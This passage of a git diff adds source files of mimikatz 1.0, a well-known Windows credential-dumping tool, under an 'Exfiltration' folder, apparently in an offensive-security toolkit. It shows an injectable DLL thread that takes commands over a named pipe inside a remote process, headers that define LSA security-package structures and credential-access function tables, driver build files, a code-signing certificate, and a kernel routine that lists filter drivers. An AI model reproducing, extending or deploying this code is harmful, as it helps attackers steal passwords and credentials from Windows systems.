HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL); + if(hThread && hThread != INVALID_HANDLE_VALUE) + { + return CloseHandle(hThread); + } + } + return TRUE; +} + +DWORD WINAPI ThreadProc(LPVOID lpParameter) +{ + mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); + + bool succes = false; + for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++) + { + succes = monCommunicator->createClient(); + if(!succes) + { + Sleep(3000); + } + } + + if(succes) + { + ptrFunctionString maFonctionString = reinterpret_cast(GetProcAddress(g_hModule, "getDescription")); + + wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi"; + if(maFonctionString) + { + wstring * maDescription = new wstring(); + if(maFonctionString(maDescription)) + { + monBuffer.append(L"\n\n"); + monBuffer.append(*maDescription); + } + delete maDescription; + } + + + + if(monCommunicator->writeToPipe(monBuffer)) + { + for(;;) + { + if(monCommunicator->readFromPipe(monBuffer)) + { + wstring fonction = monBuffer; + vector arguments; + + size_t monIndex = fonction.find(L' '); + + if(monIndex != wstring::npos) + { + arguments = mod_parseur::parse(fonction.substr(monIndex + 1)); + fonction = fonction.substr(0, monIndex); + } + + string procDll(fonction.begin(), fonction.end()); + + ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, procDll.c_str())); + + if(maFonction) + { + if(maFonction(monCommunicator, &arguments)) + { + monBuffer = L"@"; + } + else // La fonction retourn FALSE, il y a donc anomalie bloquante sur le canal + { + break; + } + } + else + { + monBuffer = L"@Mthode \'"; + monBuffer.append(fonction); + monBuffer.append(L"\' introuvable !\n"); + } + + if(!monCommunicator->writeToPipe(monBuffer)) + { + break; + } + } + else + { + break; + } + } + } + } + + delete monCommunicator; + + FreeLibraryAndExitThread(g_hModule, 0); + return 0; +} + +bool sendTo(mod_pipe * monPipe, wstring message) +{ + wstring reponse = L"#"; + reponse.append(message); + + return monPipe->writeToPipe(reponse); +} + + +__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments) +{ + bool sendOk = sendTo(monPipe, L"pong"); + + for(vector::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++) + { + wstring maReponse = L" - argument:"; + maReponse.append(*monArgument); + sendOk = sendTo(monPipe, maReponse); + } + + if(sendOk) + sendOk = sendTo(monPipe, L"\n"); + + return sendOk; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.h b/Exfiltration/mimikatz-1.0/commun/kmodel.h new file mode 100644 index 00000000..65bd9129 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/kmodel.h @@ -0,0 +1,21 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_pipe.h" +#include "mod_parseur.h" + +#define __kextdll extern "C" __declspec(dllexport) + +typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector * mesArguments); +typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription); + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); +DWORD WINAPI ThreadProc(LPVOID lpParameter); + +bool sendTo(mod_pipe * monPipe, wstring message); + +__kextdll bool __cdecl ping(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/commun/secpkg.h b/Exfiltration/mimikatz-1.0/commun/secpkg.h new file mode 100644 index 00000000..385307db --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/secpkg.h @@ -0,0 +1,239 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL +{ + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + LSA_UNICODE_STRING Password; +} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL; + +typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) (); + +typedef PVOID *PLSA_CLIENT_REQUEST; +typedef LPTHREAD_START_ROUTINE SEC_THREAD_START; +typedef LPSECURITY_ATTRIBUTES SEC_ATTRS; + +typedef struct _SECPKG_CLIENT_INFO { + LUID LogonId; // Effective Logon Id + ULONG ProcessID; // Process Id of caller + ULONG ThreadID; // Thread Id of caller + BOOLEAN HasTcbPrivilege; // Client has TCB + BOOLEAN Impersonating; // Client is impersonating + BOOLEAN Restricted; // Client is restricted + // NT 5.1 + UCHAR ClientFlags; // Extra flags about the client + SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client + // NT 6 + HANDLE ClientToken; +} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO; + +typedef enum _LSA_TOKEN_INFORMATION_TYPE { + LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type + LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type + LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type +} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE; + +typedef enum _SECPKG_NAME_TYPE { + SecNameSamCompatible, + SecNameAlternateId, + SecNameFlat, + SecNameDN, + SecNameSPN +} SECPKG_NAME_TYPE; + +typedef struct _SECPKG_CALL_INFO { + ULONG ProcessId; + ULONG ThreadId; + ULONG Attributes; + ULONG CallCount; + PVOID MechOid; // mechanism objection identifer +} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO; + +typedef enum _SECPKG_SESSIONINFO_TYPE { + SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED +} SECPKG_SESSIONINFO_TYPE; + +typedef struct _SECPKG_PRIMARY_CRED { + LUID LogonId; + UNICODE_STRING DownlevelName; // Sam Account Name + UNICODE_STRING DomainName; // Netbios domain name where account is located + UNICODE_STRING Password; + UNICODE_STRING OldPassword; + PSID UserSid; + ULONG Flags; + UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known) + UNICODE_STRING Upn; // UPN of account (if known) + UNICODE_STRING LogonServer; + UNICODE_STRING Spare1; + UNICODE_STRING Spare2; + UNICODE_STRING Spare3; + UNICODE_STRING Spare4; +} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED; + +typedef struct _SECPKG_SUPPLEMENTAL_CRED { + UNICODE_STRING PackageName; + ULONG CredentialSize; +#ifdef MIDL_PASS + [size_is(CredentialSize)] +#endif // MIDL_PASS + PUCHAR Credentials; +} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED; + +typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY { + ULONG CredentialCount; +#ifdef MIDL_PASS + [size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*]; +#else // MIDL_PASS + SECPKG_SUPPLEMENTAL_CRED Credentials[1]; +#endif // MIDL_PASS +} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY; + +typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer OutputBuffer); + +typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials); +typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials); +typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue); +typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length); +typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base); +typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length); +typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base); +typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy); +typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID); +typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID); +typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle); +typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous); +typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId); +typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo); +typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent); +typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle); +typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer InputBuffer, OUT PSecBuffer OutputBuffer); +typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); +typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); +typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info); +typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize); +typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size); +typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory); +typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem); +typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle); +typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize); +typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize); +typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle); +typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName); +typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus); +typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus); +typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status); +typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output); +typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback); +typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials); +typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize); +typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle); +typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize); + + + +#ifndef _ENCRYPTED_CREDENTIAL_DEFINED +#define _ENCRYPTED_CREDENTIAL_DEFINED + +typedef struct _ENCRYPTED_CREDENTIALW { + CREDENTIALW Cred; + ULONG ClearCredentialBlobSize; +} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW; +#endif // _ENCRYPTED_CREDENTIAL_DEFINED + +#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned +#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte +#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo +#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear +#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory +#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process). + +typedef enum _CredParsedUserNameType +{ + parsedUsernameInvalid = 0, + parsedUsernameUpn, + parsedUsernameNt4Style, + parsedUsernameCertificate, + parsedUsernameNonQualified +} CredParsedUserNameType; + + +typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential); +typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential); + +typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL); +typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags); +typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal); + +typedef struct _LSA_SECPKG_FUNCTION_TABLE { + PLSA_CREATE_LOGON_SESSION CreateLogonSession; + PLSA_DELETE_LOGON_SESSION DeleteLogonSession; + PLSA_ADD_CREDENTIAL AddCredential; + PLSA_GET_CREDENTIALS GetCredentials; + PLSA_DELETE_CREDENTIAL DeleteCredential; + PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap; + PLSA_FREE_LSA_HEAP FreeLsaHeap; + PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer; + PLSA_FREE_CLIENT_BUFFER FreeClientBuffer; + PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer; + PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer; + PLSA_IMPERSONATE_CLIENT ImpersonateClient; + PLSA_UNLOAD_PACKAGE UnloadPackage; + PLSA_DUPLICATE_HANDLE DuplicateHandle; + PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials; + PLSA_CREATE_THREAD CreateThread; + PLSA_GET_CLIENT_INFO GetClientInfo; + PLSA_REGISTER_NOTIFICATION RegisterNotification; + PLSA_CANCEL_NOTIFICATION CancelNotification; + PLSA_MAP_BUFFER MapBuffer; + PLSA_CREATE_TOKEN CreateToken; + PLSA_AUDIT_LOGON AuditLogon; + PLSA_CALL_PACKAGE CallPackage; + PLSA_FREE_LSA_HEAP FreeReturnBuffer; + PLSA_GET_CALL_INFO GetCallInfo; + PLSA_CALL_PACKAGEEX CallPackageEx; + PLSA_CREATE_SHARED_MEMORY CreateSharedMemory; + PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory; + PLSA_FREE_SHARED_MEMORY FreeSharedMemory; + PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory; + PLSA_OPEN_SAM_USER OpenSamUser; + PLSA_GET_USER_CREDENTIALS GetUserCredentials; + PLSA_GET_USER_AUTH_DATA GetUserAuthData; + PLSA_CLOSE_SAM_USER CloseSamUser; + PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken; + PLSA_CLIENT_CALLBACK ClientCallback; + PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials; + PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser; + PLSA_CRACK_SINGLE_NAME CrackSingleName; + PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon; + PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; + CredReadFn *CrediRead; + CredReadDomainCredentialsFn *CrediReadDomainCredentials; + CredFreeCredentialsFn *CrediFreeCredentials; + PLSA_PROTECT_MEMORY LsaProtectMemory; + PLSA_PROTECT_MEMORY LsaUnprotectMemory; + PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId; + PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain; + PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap; + PLSA_FREE_PRIVATE_HEAP FreePrivateHeap; + PLSA_CREATE_TOKEN_EX CreateTokenEx; + CredWriteFn *CrediWrite; + CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString; +} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/MAKEFILE b/Exfiltration/mimikatz-1.0/driver/MAKEFILE new file mode 100644 index 00000000..5acbbd24 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MAKEFILE @@ -0,0 +1 @@ +!INCLUDE $(NTMAKEENV)\makefile.def diff --git a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer new file mode 100644 index 00000000..cdd37557 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer @@ -0,0 +1,32 @@ +-----BEGIN CERTIFICATE----- +MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD +VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe +MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv +ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1 +MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52 +LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg +Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx +i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH +oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4 +bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt +bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw +R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/ +k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH +BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV +HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99 +BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY +MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6 +Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv +ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/ +vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa +deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L +JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x +GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz +1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q +zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7 +Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y +QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+ +qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX +Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN +Gi1nyfSAFIS3hQzRZiilxm8kYQ== +-----END CERTIFICATE----- diff --git a/Exfiltration/mimikatz-1.0/driver/SOURCES b/Exfiltration/mimikatz-1.0/driver/SOURCES new file mode 100644 index 00000000..f544791a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/SOURCES @@ -0,0 +1,9 @@ +TARGETNAME=mimikatz +TARGETPATH=OBJ +TARGETTYPE=DRIVER +SOURCES=mimikatz.c \ + mod_memory.c \ + processes.c minifilters.c fsfilters.c modules.c ssdt.c \ + notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c + +TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.c b/Exfiltration/mimikatz-1.0/driver/fsfilters.c new file mode 100644 index 00000000..fc807568 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.c @@ -0,0 +1,35 @@ +#include "fsfilters.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG ActualNumberDriverObjects = 0; + PDRIVER_OBJECT * DriverObjectList = NULL; + + ULONG i; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects); + if(NT_SUCCESS(status)) + { + if(ActualNumberDriverObjects > 0) + { + DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG); + if(DriverObjectList != NULL) + { + IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects); + for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + //DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + ObDereferenceObject(DriverObjectList[i]); + } + ExFreePoolWithTag(DriverObjectList, POOL_TAG); + } + } + } + return status; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.h b/Exfiltration/mimikatz-1.0/driver/fsfilters.h new file mode 100644 index 00000000..9e82e9cf --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.h @@ -0,0 +1,5 